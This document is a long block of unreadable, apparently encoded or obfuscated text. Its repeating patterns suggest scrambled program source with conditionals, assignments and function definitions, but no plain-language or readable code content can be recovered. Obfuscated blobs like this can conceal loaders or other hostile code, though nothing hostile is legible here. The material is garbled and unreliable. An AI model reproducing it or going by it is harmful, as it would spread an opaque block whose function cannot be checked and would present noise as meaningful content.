==7i3&4;3f/;13mwmoggvw{4&24;;ki'+ijvd{*g%n=01gbjjumd{'7%,23k,.mb{*g%n=01grmldU69w{62,m89/7ooyy==7i3&4;3f/;13mwmoilvw{62,m89/7oos6( l).%/>&.=%8wmogfvv~bb9>3,:v$U{62,m89/7oob==7i3&4;3f/;13mwmojfvw68-=;0g1k=f9<,wmofovq==7i3&4;3f/;13mwnknovw{36<) ;6gk/sxpxvq68-=;0g1k=f9<,wnnjivs}1}s{62,m89/7oovdU69w==7i3&4;3f/;13mwmomjvw{62,m89/7oovv$U{62,m89/7oob%&l24,::0;+wmojfvw6( l).%/>&.=%8wnnjhvq6( l).%/>&.=%8wnknovw{36<) ;6gk/sxpxvq==7i3&4;3f/;13mwmofnvs}1}s{62,m89/7oovdUU"U69w6( l).%/>&.=%8wmomjvw{62,m89/7oovv$U{62,m89/7oob6( l).%/>&.=%8wmojfvw==7i3&4;3f/;13mwmofmvq6( l).%/>&.=%8wnknovw{36<) ;6gk/sxpxvq%&l24,::0;+wmoflvs}1}s{62,m89/7oovd{8- /+7l%:;m6/bjoijd{(;h0&6:8+b{8- /+7l%:;m6/zldU"U69w==7i3&4;3f/;13mwmofkvw{62,m89/7oovv,=.9=%*lk<l11j),n'56'/w{4&24;;ki'+ijs{62,m89/7oovdU"U"UUUU{-<g2o8-f8ibq68-=;0g1k=f9<,wmofjvdU69w~==7i3&4;3f/;13mwmofivw{-<g2o8-f8ivv$U{:*432k4k++ 9ob%&l24,::0;+wmofhvwvq6( l).%/>&.=%8wmofgvdUU69w6( l).%/>&.=%8wmofivw{:*432k4k++ 9ovv{-<g2o8-f8ib{:*432k4k++ 9odUUUU"U69w68-=;0g1k=f9<,wmofivw{-<g2o8-f8ivyy6( l).%/>&.=%8wnflivw{-<g2o8-f8ivv$U{ (<b6( l).%/>&.=%8wmoggvw{-<g2o8-f8ivd{-go:/1>6406:obfhood{-+k6=*497b{-go:/1>6406:oznldU69w%&l24,::0;+wmofkvw{ (<vyy6( l).%/>&.=%8wmoilvw{ (<s==7i3&4;3f/;13mwmoffvv~bb9>3,:v$U{(g 1/f;lof*n75<9b%&l24,::0;+wmnoovw%&l24,::0;+wmnonvs}}s{ (<vdU69w68-=;0g1k=f9<,wmofkvw{(g 1/f;lof*n75<9vyy{(g 1/f;lof*n75<9~bb{ (<yy)%;j1-;6fo.< h=<%=*w{(g 1/f;lof*n75<9vv$UUUU{+g;'g6.29>%b6( l).%/>&.=%8wmnomvw{-<g2o8-f8ivdU69w,=.9=%*lk<l11j),n'56'/w{-<g2o8-f8is{(g 1/f;lof*n75<9vyy{+g;'g6.29>%v%&l24,::0;+wmnvw{-<g2o8-f8is{+g;'g6.29>%vdU"U*1,:+w{(g 1/f;lof*n75<9s{+g;'g6.29>%vdU"U*1,:+w{ (<vdU"U*1,:+w{-<g2o8-f8is{:*432k4k++ 9ovdU{-)00, f-n 70.*glb%&l24,::0;+wmohjvw==7i3&4;3f/;13mwnkglvv`%&l24,::0;+wnkglvw68-=;0g1k=f9<,wmnolvve9>3,:dU69w~{-)00, f-n 70.*gl##{-)00, f-n 70.*glbbb}}v{-)00, f-n 70.*glb68-=;0g1k=f9<,wmnokvdUUUU{=%h<8n;=-g*o82,ob>-->&wq{-)00, f-n 70.*gls{)k98%ni;o9qxpxq{-)00, f-n 70.*glvdU90-:><7w{=%h<8n;=-g*o82,o>,{<:><j75g5lfn;+v$U69w~==7i3&4;3f/;13mwmofivw{<:><j75g5lfn;+vv<01+61*:dU{62,m89/7oob==7i3&4;3f/;13mwmnojvw{<:><j75g5lfn;+vdUUU69w{62,m89/7ooyy6( l).%/>&.=%8wmoilvw{62,m89/7oos%&l24,::0;+wmogfvv~bb9>3,:v$U{62,m89/7oob%&l24,::0;+wmnoivw68-=;0g1k=f9<,wmnohvq%&l24,::0;+wmnogvw{=:=hh8)9:;sxpxvq6( l).%/>&.=%8wmnofvs}}s{62,m89/7oovdUUUU69w%&l24,::0;+wmofkvw{62,m89/7oovv,=.9=%*lk<l11j),n'56'/w{<:><j75g5lfn;+s{62,m89/7oovdUUU"U"U{5(h->:0%=k8544<b>-->&wUUUU{)k98%ni;o9qxpxq{=:=hh8)9:;sU{:i5n4*:%><:1-9qxpxq{=:=hh8)9:;sUUU{/8o6f=n=i;qxpxq{=:=hh8)9:;sUvdUUU{/&f+,h0(hl=ib%&l24,::0;+wmnnovw{' :o62>io:(':s{5(h->:0%=k8544<vdU90-:><7w{5(h->:0%=k8544<>,{;:m.20n>922=h/v$U69w68-=;0g1k=f9<,wmnnnvw{;:m.20n>922=h/vv$U..+:l- 3/5(*9,%,)6<:w{;:m.20n>922=h/swikhrmmhvvdU,=.9=%*lk<l11j),n'56'/w{;:m.20n>922=h/s6( l).%/>&.=%8wniomvvdU"U"U90-:><7w{/&f+,h0(hl=i>,{;:m.20n>922=h/v$U69w==7i3&4;3f/;13mwmnnnvw{;:m.20n>922=h/vv$U..+:l- 3/5(*9,%,)6<:w{;:m.20n>922=h/swlmktfivvdU6&3-,o*-.<)&:l.1w{;:m.20n>922=h/vdUUUU"U"U90-:><7w9(l25m0hl<35j5)wv>,{02+8<< 9l:6>.+v$U69w~6( l).%/>&.=%8wmnnnvw{02+8<< 9l:6>.+v##~6( l).%/>&.=%8wnflivw{02+8<< 9l:6>.+vv<01+61*:dU{62,m89/7oob==7i3&4;3f/;13mwmnojvw{02+8<< 9l:6>.+vdU69w==7i3&4;3f/;13mwmofkvw{62,m89/7oovv$U{5+5=5=g619;f.l* b6;*-(%:1fk+'n'4l''w{62,m89/7oos6( l).%/>&.=%8wmnnmvs%&l24,::0;+wmnnlvvdU{5+5=5=g619;f.l* b6;*-(%:1fk+'n'4l''w{5+5=5=g619;f.l* s68-=;0g1k=f9<,wmnnkvs6( l).%/>&.=%8wmnnlvvdU69w%&l24,::0;+wmofkvw{5+5=5=g619;f.l* vyy{5+5=5=g619;f.l* ~bb{62,m89/7oov,=.9=%*lk<l11j),n'56'/w{02+8<< 9l:6>.+s{5+5=5=g619;f.l* vdU*1,:+w{5+5=5=g619;f.l* vdU"U"UUUU69w68-=;0g1k=f9<,wmohjvw%&l24,::0;+wnjfkvvyy==7i3&4;3f/;13mwmohjvw68-=;0g1k=f9<,wmnnjvvv$UUUU{4:&b->4-  (=*')93*0gwvdU69w{4:&~bb9>3,:v$UUU{ >)l g27%;7h j9b6( l).%/>&.=%8wnjfkvw{4:&sx(xsosovdU69w{ >)l g27%;7h j9v$U==7i3&4;3f/;13mwmnnivw{ >)l g27%;7h j9vdU6( l).%/>&.=%8wnjgfvw{ >)l g27%;7h j9vdU"U"U"U69w%&l24,::0;+wmohjvw==7i3&4;3f/;13mwmooivvv$U{.,(*mj6=<3(b0,://=::3'-f*7wq%&l24,::0;+wmoogvswitkvvdU;:3:+: 0/+601w{.,(*mj6=<3(vdUUUU{7 *98f'll=,kb6( l).%/>&.=%8wmnnhvw%&l24,::0;+wmnngvv`8:+ 0/+601w==7i3&4;3f/;13mwmnnfvs>-->&wvve>-->&wvdU69w%&l24,::0;+wmnmovw{7 *98f'll=,kvv$U69w6,,:+w{7 *98f'll=,kx=xvv6&3-,o*-.<)&:l.1w{7 *98f'll=,kx=xvdU69w6,,:+w{7 *98f'll=,k==7i3&4;3f/;13mwmnmnvvyy6( l).%/>&.=%8wmnmmvw{7 *98f'll=,k==7i3&4;3f/;13mwmnmnvvv$U90-:><7w{7 *98f'll=,k6( l).%/>&.=%8wmnmlv>,{ <6v$UUU69w%&l24,::0;+wmnmmvw{ <6vyy6,,:+w{ <6x=xvv6&3-,o*-.<)&:l.1w{ <6x=xvdU"U"U"U;:3:+: 0/+601w6( l).%/>&.=%8wmnnfvvdUU;:3:+: 0/+601w6( l).%/>&.=%8wngghvvdU;:3:+: 0/+601w%&l24,::0;+wmnmkvvdU;:3:+: 0/+601w68-=;0g1k=f9<,wnjoovvdU;:3:+: 0/+601w%&l24,::0;+wmnmjvvdU;:3:+: 0/+601w68-=;0g1k=f9<,wnkiovvdU;:3:+: 0/+601w%&l24,::0;+wnkkfvvdU;:3:+: 0/+601w68-=;0g1k=f9<,wnkinvvdUU*1,:+w{7 *98f'll=,ks{ <6vdU"Upp01+6=->-&+>'0102&-:86,+->+601UU69w==7i3&4;3f/;13mwmnnhvw%&l24,::0;+wgfovvv$U;:3:+: +->1,6:1+w68-=;0g1k=f9<,wmnmivvdU;:3:+: +->1,6:1+w6( l).%/>&.=%8wmnmhvvdU;:3:+: +->1,6:1+w>n,,- 8f6hjj%h64o,.wvvdU"U69w==7i3&4;3f/;13mwmnmgvw68-=;0g1k=f9<,wmnmfvvv$UUU(/ <3:>- ,<7:;*3:; 7004w68-=;0g1k=f9<,wmnlovvd{9h=)3+*-l;.(/ibnfj#mjmd{7:.-'+g6<7.18,b{9h=)3+*-l;.(/infdUUU(/ <3:>- ,<7:;*3:; 7004w68-=;0g1k=f9<,wmnlnvvdU(/ <3:>- ,<7:;*3:; 7004w%1(m2o%h.(-)mg:wvvdUUUU"U"<>+<7w7-0(>=3:{3+1n/j=+n mv$U04'k=kgmm ;-<4*,;>&3*w%&l24,::0;+wmnlmvs{3+1n/j=+n mvdU"<>+<7w'<:/+601{3+1n/j=+n mv$U"U"U9*1<+6014>''/;906:n&+l.j.>wvU$U+-&$UU69w~;:961:;w%&l24,::0;+wnfnhvvv-:+*-19>3,:dUUUU{)k98%ni;o9b*&;mh.'go,*2;<g)+*f9>wvdU{2%k0540*3k<b{)k98%ni;o9q68-=;0g1k=f9<,wmokkvdU{;).m.>/5(5)%o&b6( l).%/>&.=%8wnffjvw-nif,f=:o%ol2)owvs%&l24,::0;+wmnllvvdU{/3o7(5k<n381&'b:%''&1')6-2mnm(wvdU69w~{/3o7(5k<n381&'##6( l).%/>&.=%8wnfomvw{/3o7(5k<n381&'vcwkhitmkv##6( l).%/>&.=%8wmnlkvw{/3o7(5k<n381&'vawo'j::;nto'>nnm9v##=n-8-m<n&2j=7.j+:f%inw{/3o7(5k<n381&'v##~)%;j1-;6fo.< h=<%=*w{/3o7(5k<n381&'vv-:+*-19>3,:dU{<*--:1+b%&l24,::0;+wnjokvw{2%k0540*3k<v`6( l).%/>&.=%8wmnojvw{2%k0540*3k<ve}}dU69w~%&l24,::0;+wmofkvw{<*--:1+vv$U04'k=kgmm ;-<4*,;>&3*w6( l).%/>&.=%8whlnvs6( l).%/>&.=%8wnkkmvvdU-:+*-19>3,:dU"U{<*--:1+b5( g6,6h*67j545kh:w{<*--:1+vdU{5)nh;j05-+1&&1b(8=4>%+g%(8i0>1>i(l9h+wvqxexq0,://=::3'-f*7wq6( l).%/>&.=%8wmnljvswo'nto'hvvdUUU{,-.28 mo*.1f%i24b6( l).%/>&.=%8wmnlivq{5)nh;j05-+1&&1q==7i3&4;3f/;13mwnimhvdUUUU{2nlg71'f->b6( l).%/>&.=%8wmnlhvq{5)nh;j05-+1&&1q==7i3&4;3f/;13mwnimhvdU{>;)hf/1f5.27b0,://=::3'-f*7wq%&l24,::0;+wmnlgvswjtlvvdU{*)&i4j<:>1%<)(56b68-=;0g1k=f9<,wmnoivw%&l24,::0;+wmnlfvq{>;)hf/1f5.27q6( l).%/>&.=%8wmnkovs}}s{<*--:1+vdU{*1h&5.=9o35.jbw%&l24,::0;+wmnknvw{*)&i4j<:>1%<)(56s%&l24,::0;+wmnkmvv~bb9>3,:vdU69w==7i3&4;3f/;13mwmnknvw{<*--:1+s{,-.28 mo*.1f%i24v~bb9>3,:yy==7i3&4;3f/;13mwmnknvw{<*--:1+s{2nlg71'f->v~bb9>3,:yy~{*1h&5.=9o35.jv-:+*-1+-*:dU{<*--:1+b%&l24,::0;+wmnklvw%&l24,::0;+wmnkkvs}}s{*)&i4j<:>1%<)(56vdU69w~==7i3&4;3f/;13mwmofkvw{<*--:1+vv$U04'k=kgmm ;-<4*,;>&3*w6( l).%/>&.=%8whlnvs==7i3&4;3f/;13mwnjiovvdUU-:+*-19>3,:dU"U{<i)6-4h398 )b'+l>-385.n%+.(,6+mwvdU69w~{<i)6-4h398 )v-:+*-19>3,:dUUU{<o%-:8nm0j-m8n-3b==7i3&4;3f/;13mwmnkjvq6( l).%/>&.=%8wmoimvw6( l).%/>&.=%8wmnkivw{;).m.>/5(5)%o&qw,+-618v/-5'%k3i;i25km)wvvsoswfgnoivvdU{)460<0/ig4nmkfb1f 9,2<k5;'k:i/7 /k:9fwU6( l).%/>&.=%8wmnkhvsU>-->&wx  
  xsx  
 ik  xsx  
   xsx  	  xvsU>-->&w{;).m.>/5(5)%o&s{<i)6-4h398 )s{<o%-:8nm0j-m8n-3s(8=4>%+g%(8i0>1>i(l9h+wvvUvdUUU69w~{)460<0/ig4nmkfv$U69ww61+v8:+ 0/+601w==7i3&4;3f/;13mwmnkgvsovaov04'k=kgmm ;-<4*,;>&3*w6( l).%/>&.=%8whlnvs%&l24,::0;+wmnkfvvdUUUU-:+*-19>3,:dU"UU{<*--:1+b5( g6,6h*67j545kh:w{<*--:1+vdU{&);&+6'+1>85i9b68-=;0g1k=f9<,wmnklvw==7i3&4;3f/;13mwmnjovs}}s{)460<0/ig4nmkfvdU{0-'l(5=+031'.6hbw6( l).%/>&.=%8wmnjnvw{<*--:1+vbbbovdUUU69w~{0-'l(5=+031'.6hv$U69w~+78, 6,7hi9%n9h9m7%1w%&l24,::0;+whlnvvv$UUU04'k=kgmm ;-<4*,;>&3*w6( l).%/>&.=%8whlnvs%&l24,::0;+wnjimvvdU-:+*-19>3,:dU"UU69w~1on< f0*0+>j>%6w{2%k0540*3k<s{<*--:1+vv$U04'k=kgmm ;-<4*,;>&3*w==7i3&4;3f/;13mwhlnvs6( l).%/>&.=%8wniknvvdUUUU-:+*-19>3,:dU"U<.'):2)&8/(o%665-w%&l24,::0;+whlnvvdU":3,:$U69w~1on< f0*0+>j>%6w{2%k0540*3k<s}}vv${- .;,'7f**bftnfd{+(;34/+&'o<*b{- .;,'7f**rnjdU04'k=kgmm ;-<4*,;>&3*w==7i3&4;3f/;13mwhlnvs==7i3&4;3f/;13mwmnjmvvdUU-:+*-19>3,:dU"U"U{)8o6+:j/7, '7b:3fj;f2mh26/9 g/-hli/fw{<*--:1+s{,-.28 mo*.1f%i24q}1}q{&);&+6'+1>85i9q}1}q{2nlg71'f->vdUUUU69w~,=.9=%*lk<l11j),n'56'/w{2%k0540*3k<s{)8o6+:j/7, '7vv$U-:+*-19>3,:dUU"U69w{0-'l(5=+031'.6hv3o>94&fk7+k97f >w{2%k0540*3k<vdU-:+*-1+-*:dU"<>+<7w7-0(>=3:{3+1n/j=+n mv$U04'k=kgmm ;-<4*,;>&3*w==7i3&4;3f/;13mwhlnvs{3+1n/j=+n mvdU-:+*-19>3,:dUU"<>+<7w'<:/+601{3+1n/j=+n mv$U-:+*-19>3,:dU"UUUU"UUUU9*1<+6019(l25m0hl<35j5)wvU$U{-6%<)l5%07.1;' 'b>-->&wvdUUU69w~6( l).%/>&.=%8wmnmgvw68-=;0g1k=f9<,wmnngvvv-:+*-1{-6%<)l5%07.1;' 'dU{6;;  785=jbw;:961:;w6( l).%/>&.=%8wnfhgvv`  ew;:961:;w==7i3&4;3f/;13mwnfnhvv`q==7i3&4;3f/;13mwmnjlve}}vvq%&l24,::0;+wmnjkvdUU{*/)1(m'6'=k61,mhbw,+-618v8:+ 0/+601w%&l24,::0;+wnmjlvs}}vdU69w{*/)1(m'6'=k61,mh~bb}}v{-6%<)l5%07.1;' 'b{6;;  785=jq{*/)1(m'6'=k61,mhq6( l).%/>&.=%8wmokjvdU{9(.h'*j, .23'77fbw,+-618v8:+ 0/+601w68-=;0g1k=f9<,wnmjkvs}}vdUUU69w{9(.h'*j, .23'77f~bb}}yy{9(.h'*j, .23'77f~bb{*/)1(m'6'=k61,mhv{-6%<)l5%07.1;' 'b{6;;  785=jq{9(.h'*j, .23'77fq==7i3&4;3f/;13mwmokjvdUUUU-:+*-1{-6%<)l5%07.1;' 'dU"U9*1<+6013h6>(-2f=j/-nj1((f-wvU$U+-&$U69w~;:961:;w==7i3&4;3f/;13mwnfnhvv##~%&l24,::0;+wmnmgvw68-=;0g1k=f9<,wmnjjvvv-:+*-1dU90-:><7w9(l25m0hl<35j5)wv>,{66o,ojf8h2/&f379v$Upp70,+=&+:0-;:-UUU{6n'-8;7i i61*%b(2++90&.)m=1=gl8g6wvq6( l).%/>&.=%8wmnjivq0,://=::3'-f*7w{66o,ojf8h2/&f379swnntnvvq==7i3&4;3f/;13mwnglhvdU69w~==7i3&4;3f/;13mwmnnnvw{6n'-8;7i i61*%vv<01+61*:dU69w==7i3&4;3f/;13mwmnnnvw{66o,ojf8h2/&f379vyy68-=;0g1k=f9<,wmokovw{66o,ojf8h2/&f379vaov<01+61*:dU{)7i:j'o-4>b68-=;0g1k=f9<,wmnojvw{6n'-8;7i i61*%vdU69w~6( l).%/>&.=%8wmofkvw{)7i:j'o-4>v##{)7i:j'o-4>bbb}}v<01+61*:dUUU69w,=.9=%*lk<l11j),n'56'/w{66o,ojf8h2/&f379s{)7i:j'o-4>vv$U04'k=kgmm ;-<4*,;>&3*w==7i3&4;3f/;13mwmnjhvs68-=;0g1k=f9<,wmnjgvvdU*/;>+: 0/+601w6( l).%/>&.=%8wmnjfvs%&l24,::0;+wnggmvwvs6( l).%/>&.=%8wmonlvvdU"U"Upp;6,/>+<7<0*1+r261r,4:+<7UU"<>+<7w7-0(>=3:{3+1n/j=+n mv$U04'k=kgmm ;-<4*,;>&3*w68-=;0g1k=f9<,wmnjhvs{3+1n/j=+n mvdU"<>+<7w'<:/+601{3+1n/j=+n mv$UUU"U"U9*1<+601;=lfk ,.%'jf>m.j'mwvU$UUUU+-&$U69w~;:961:;w%&l24,::0;+wmniovvv-:+*-19>3,:dUUU{7+/,9:>';);b9(l25m0hl<35j5)wvdU69w:2/+&w{7+/,9:>';);vv-:+*-19>3,:dU{;:>&6g89768<bw61+v8:+ 0/+601w%&l24,::0;+wmninvsovdU69w{;:>&6g89768<yy68-=;0g1k=f9<,wnggmvwvr{;:>&6g89768<cwo'm>;kto'nmi><vv-:+*-19>3,:dU{5)nh;j05-+1&&1b(8=4>%+g%(8i0>1>i(l9h+wvqxexq0,://=::3'-f*7wq6( l).%/>&.=%8wngnjvswo'ito'mvvdUUU{,-.28 mo*.1f%i24b==7i3&4;3f/;13mwmnimvq{5)nh;j05-+1&&1q68-=;0g1k=f9<,wmnilvdU{2nlg71'f->b6( l).%/>&.=%8wmnikvq{5)nh;j05-+1&&1q==7i3&4;3f/;13mwmnilvdU{<o%-:8nm0j-m8n-3b==7i3&4;3f/;13mwmnijvq6( l).%/>&.=%8wmniivw6( l).%/>&.=%8wmnkivwqw,+-618v/-5'%k3i;i25km)wvvsoswmccmvvdU{;).m.>/5(5)%o&b%&l24,::0;+wnffjvw-nif,f=:o%ol2)owvs68-=;0g1k=f9<,wmnihvvdU{<i)6-4h398 )b'+l>-385.n%+.(,6+mwvdUUU69w~{<i)6-4h398 )v-:+*-19>3,:dU{+-iji6.l13b1f 9,2<k5;'k:i/7 /k:9fwU68-=;0g1k=f9<,whlkvsU>-->&wx  
  xsx  
 ik  xsx  
   xsx  	  xvsU>-->&w{;).m.>/5(5)%o&s{<i)6-4h398 )s{<o%-:8nm0j-m8n-3s(8=4>%+g%(8i0>1>i(l9h+wvvUvdU69w~{+-iji6.l13v$UUU69ww61+v8:+ 0/+601w==7i3&4;3f/;13mwmnkgvsovaov04'k=kgmm ;-<4*,;>&3*w==7i3&4;3f/;13mwmnjhvs%&l24,::0;+wmnigvvdU-:+*-19>3,:dU"U{+-iji6.l13b6( l).%/>&.=%8wmnifvw68-=;0g1k=f9<,wmnjovs}}s{+-iji6.l13vdU69w~==7i3&4;3f/;13mwmofkvw{+-iji6.l13v##{+-iji6.l13bbb}}v-:+*-19>3,:dU90-:><7w{7+/,9:>';);>,{02+8<< 9l:6>.+v$U69w~6( l).%/>&.=%8wmnnnvw{02+8<< 9l:6>.+vv<01+61*:dU{*0f29i+%750b6( l).%/>&.=%8wmnmgvw68-=;0g1k=f9<,wnokvv`==7i3&4;3f/;13mwnokvw{02+8<< 9l:6>.+sx<xve9>3,:dU69w{*0f29i+%750~bb9>3,:yy6( l).%/>&.=%8wmnmgvw68-=;0g1k=f9<,wmnhovvv930<4w{*0f29i+%750s vdU{<*--:1+b%&l24,::0;+wmnojvw{02+8<< 9l:6>.+vdU69w~%&l24,::0;+wmofkvw{<*--:1+vv$U04'k=kgmm ;-<4*,;>&3*w%&l24,::0;+wmnhnvs%&l24,::0;+wnkkmvvdU69w{*0f29i+%750~bb9>3,:v$UU69w6( l).%/>&.=%8wmnhmvw6( l).%/>&.=%8wmnhlvvv930<4w{*0f29i+%750s 
vdU9<30,:w{*0f29i+%750vdU"U<01+61*:dU"U+-&$UU69w68-=;0g1k=f9<,wmnjnvw{<*--:1+vawo'n<9<lto':lol;vv{<*--:1+b5( g6,6h*67j545kh:w{<*--:1+vd{:3:='7k%(j(bnoi#nfjd{1h9n(=>g/>0&>b{:3:='7k%(j(nkdU69w==7i3&4;3f/;13mwmnknvw{<*--:1+s{,-.28 mo*.1f%i24v~bb9>3,:yy6( l).%/>&.=%8wmnknvw{<*--:1+s{2nlg71'f->v~bb9>3,:v-:+*-1+-*:dUU69w~%&l24,::0;+wnflivw{02+8<< 9l:6>.+vv<01+61*:dUUUU{6n'-8;7i i61*%b(2++90&.)m=1=gl8g6wvq%&l24,::0;+wmnhkvq0,://=::3'-f*7w{02+8<< 9l:6>.+swiccnvvq==7i3&4;3f/;13mwmnhjvdUUUU{4&31;n55f&b0,://=::3'-f*7wq68-=;0g1k=f9<,wmnhivswmccmvvdU{<*--:1+b6;*-(%:1fk+'n'4l''w{<*--:1+s6( l).%/>&.=%8wmnnmvs68-=;0g1k=f9<,wmnhhvvdU{<*--:1+b6( l).%/>&.=%8wmnhgvw6( l).%/>&.=%8wmnhfvs}}s{<*--:1+vdU69w~==7i3&4;3f/;13mwmofkvw{<*--:1+vv$UU04'k=kgmm ;-<4*,;>&3*w==7i3&4;3f/;13mwmngovs==7i3&4;3f/;13mwmngnvvd{=)4'>+/7o8o.=bnnk#mgd{&)4=<k97%nb{=)4'>+/7o8o.=moodUUU<01+61*:dU"U69w==7i3&4;3f/;13mwmngmvw{<*--:1+s%&l24,::0;+wmnglvv~bb9>3,:##%&l24,::0;+wmngmvw{<*--:1+s%&l24,::0;+wmngkvv~bb9>3,:v$U{=>kml=2,6:b==7i3&4;3f/;13mwmnnnvw{6n'-8;7i i61*%v`68-=;0g1k=f9<,wmnojvw{6n'-8;7i i61*%ve9>3,:dU69w~==7i3&4;3f/;13mwmofkvw{=>kml=2,6:v##{=>kml=2,6:bbb}}v${+fk'k%(nh()>30bmjhgd{=09%&'h74, jb{+fk'k%(nh()>30znkdU04'k=kgmm ;-<4*,;>&3*w==7i3&4;3f/;13mwmngovs68-=;0g1k=f9<,wmngjvvdU<01+61*:dU"UU{<*--:1+b{=>kml=2,6:dU*1,:+w{=>kml=2,6:vdU"U{(;m>6hm-%ib) 5/-5ij/g&.;6w{<*--:1+vdU69w68-=;0g1k=f9<,wmofkvw{(;m>6hm-%ivyy{(;m>6hm-%i~bb}}v$UU{=07.>:=l44g/m<ib%&l24,::0;+wmnnnvw{6n'-8;7i i61*%v`68-=;0g1k=f9<,wmnojvw{6n'-8;7i i61*%ve9>3,:dU69w~==7i3&4;3f/;13mwmngivw{=07.>:=l44g/m<iv##{=07.>:=l44g/m<i~bb{(;m>6hm-%iv,=.9=%*lk<l11j),n'56'/w{6n'-8;7i i61*%s{(;m>6hm-%ivdUUU*1,:+w{=07.>:=l44g/m<ivdU"U*1,:+w{(;m>6hm-%ivdU{(6.i=8'53o1:24lnb%&l24,::0;+wniomvdU69w%&l24,::0;+wmnjnvw{<*--:1+vaoyy==7i3&4;3f/;13mwmngmvw{<*--:1+s%&l24,::0;+wmnghvv~bb9>3,:yy==7i3&4;3f/;13mwmniivw%&l24,::0;+wmnggvw{<*--:1+vsrmv~bb6( l).%/>&.=%8wnifivv$U{(6.i=8'53o1:24lnb}}dU"UUU{;of%7'97;'1lbw==7i3&4;3f/;13mwmngfvw{<*--:1+vaov`}1}e}}dUU{/l%='-&4o%0<b{;of%7'97;'1lq{(6.i=8'53o1:24lnq{,-.28 mo*.1f%i24q}1}q{+-iji6.l13q}1}q{2nlg71'f->q}1}dU69w~1on< f0*0+>j>%6w{02+8<< 9l:6>.+s{<*--:1+vv$Upp9*39633619:>,6=3:>9961:r+&/:UUU04'k=kgmm ;-<4*,;>&3*w%&l24,::0;+wmngovs68-=;0g1k=f9<,wmnjmvvdUU<01+61*:dU"UU69w~,=.9=%*lk<l11j),n'56'/w{02+8<< 9l:6>.+s{<*--:1+q{/l%='-&4o%0<vv<01+61*:dU-:+*-1+-*:dU"961>33&$UU69w{*0f29i+%750~bb9>3,:v$U69w6( l).%/>&.=%8wmnhmvw68-=;0g1k=f9<,wmnhlvvv930<4w{*0f29i+%750s 
vdU9<30,:w{*0f29i+%750vdU"U"U"U-:+*-19>3,:dU"<>+<7w7-0(>=3:{3+1n/j=+n mv$U04'k=kgmm ;-<4*,;>&3*w68-=;0g1k=f9<,wmngovs{3+1n/j=+n mvdUUUU-:+*-19>3,:dU"<>+<7w'<:/+601{3+1n/j=+n mv$U-:+*-19>3,:dUU"U"U9*1<+601 193./i&i;+g/jjkn5wvU$UUU+-&$UUUU69w~;:961:;w==7i3&4;3f/;13mwmniovvv-:+*-1dU69w%2:n;9l5gim=)+<n%28(jw-nif,f=:o%ol2)owvvv-:+*-1dU{)k98%ni;o9b*&;mh.'go,*2;<g)+*f9>wvdU{.9gk89g/fi9k7--b0,://=::3'-f*7wq6( l).%/>&.=%8wninjvswjikgvvq==7i3&4;3f/;13mwmnfovdU{;).m.>/5(5)%o&b==7i3&4;3f/;13mwnffjvw-nif,f=:o%ol2)owvs6( l).%/>&.=%8wmnfnvvdU{/3o7(5k<n381&'b:%''&1')6-2mnm(wvdU69w~{/3o7(5k<n381&'##6( l).%/>&.=%8wmngfvw{/3o7(5k<n381&'vcwknftgnvv$U04'k=kgmm ;-<4*,;>&3*w6( l).%/>&.=%8wnkhfvs68-=;0g1k=f9<,wmnfmvvdU-:+*-1dUUU"U69w~6( l).%/>&.=%8wnjmjvw6( l).%/>&.=%8wmnflvvv-:+*-1dU{-)<g&=g%2k/m0((gb>-->&wU{)k98%ni;o9qxpxq{.9gk89g/fi9k7--sUU{)k98%ni;o9q==7i3&4;3f/;13mwmnfkvq6( l).%/>&.=%8wmnfjvw6( l).%/>&.=%8wmnfivvq{.9gk89g/fi9k7--sUvdU{3%>(1l,>ojbw;:961:;w6( l).%/>&.=%8wmnfhvv`  eq6( l).%/>&.=%8wmnjlvvq==7i3&4;3f/;13mwnmjivdUUUU69w==7i3&4;3f/;13mwnfgmvw{3%>(1l,>ojvv$U{ )j2k5; li+,(3(mb*m,n*l71hj:h7,7>,.4*w{3%>(1l,>ojvdUU69w68-=;0g1k=f9<,wmnmmvw{ )j2k5; li+,(3(mvv$UUUU90-:><7w{ )j2k5; li+,(3(m>,{3+1n/j=+n mv$U{6,m8-.=='/b{3%>(1l,>ojqxpxq{3+1n/j=+n mdU69w%&l24,::0;+wnfgmvw{6,m8-.=='/vyy%&l24,::0;+wnflivw{6,m8-.=='/vv$U{-)<g&=g%2k/m0((gb{6,m8-.=='/qxpxq{.9gk89g/fi9k7--dUUUU=-:>4dU"UUUU"Upp61+:--*/+,+-*<+*->3r+&/:UU"U"Upp615:<+6):r>;5>;>/+:-UU90-:><7w{-)<g&=g%2k/m0((g>,{3hj76-+3;.gv$U69w%&l24,::0;+wmnfgvw{3hj76-+3;.gvyy68-=;0g1k=f9<,wmnffvw{3hj76-+3;.gvawo'99to'm:fvv$U{91)0(:oi&&b68-=;0g1k=f9<,wmnflvdUU69w6( l).%/>&.=%8wnjmjvw{91)0(:oi&&vv$U{5*o-0+2%:hb1:({91)0(:oi&&wvdU69w{5*o-0+2%:hra0/:1w{3hj76-+3;.gvbbb+-*:v$UUUU{5*o-0+2%:hra<30,:wvdU<01+61*:dU"U"U"UUUU{-h/43n4*<,ob==7i3&4;3f/;13mwmofhvw{3hj76-+3;.gvdU69w~%&l24,::0;+wnfgmvw{-h/43n4*<,ovv 1'4'n,k3k&859>>;w{-h/43n4*<,oswlfmtnonvs+-*:vdU{91)0(:oi&&b%&l24,::0;+wmnflvdUUU{&&n),2;h=.&;;b< ii-1<l;;7/*k4 ni<o'iw{-h/43n4*<,os68-=;0g1k=f9<,wnnofvvdUUU69w{&&n),2;h=.&;;bbb9>3,:v<01+61*:dU{  & &-6i<,b1:({91)0(:oi&&wvdU69w{  & &-6i<,ra0/:1w{&&n),2;h=.&;;s{91)0(:oi&&ee#{91)0(:oi&&ee	vbbb+-*:v$U{  & &-6i<,ra>;;-02+-618w{;).m.>/5(5)%o&qxpxq{;).m.>/5(5)%o&q6( l).%/>&.=%8wmnfnvs{/3o7(5k<n381&'vdU{  & &-6i<,ra<30,:wvdU{9l.kh/3(28(i':b1:({91)0(:oi&&wvdU69w{9l.kh/3(28(i':ra0/:1w{&&n),2;h=.&;;vbbb+-*:v$U{9l.kh/3(28(i':ra<30,:wvdU69w7-h3)j%5o=(* 4/mw{&&n),2;h=.&;;s{3hj76-+3;.gv##w90%*(hi8(-6'>ow{&&n),2;h=.&;;s{3hj76-+3;.gvyy6&3-,o*-.<)&:l.1w{&&n),2;h=.&;;vvv$U<oo4k7hh*16 '<lg&8+;+w{3hj76-+3;.gs(n7%'*ki&7:*69wvvdUUU..+:l- 3/5(*9,%,)6<:w{3hj76-+3;.gswlhntkfvvdUUUU":3,:$Upp:-):-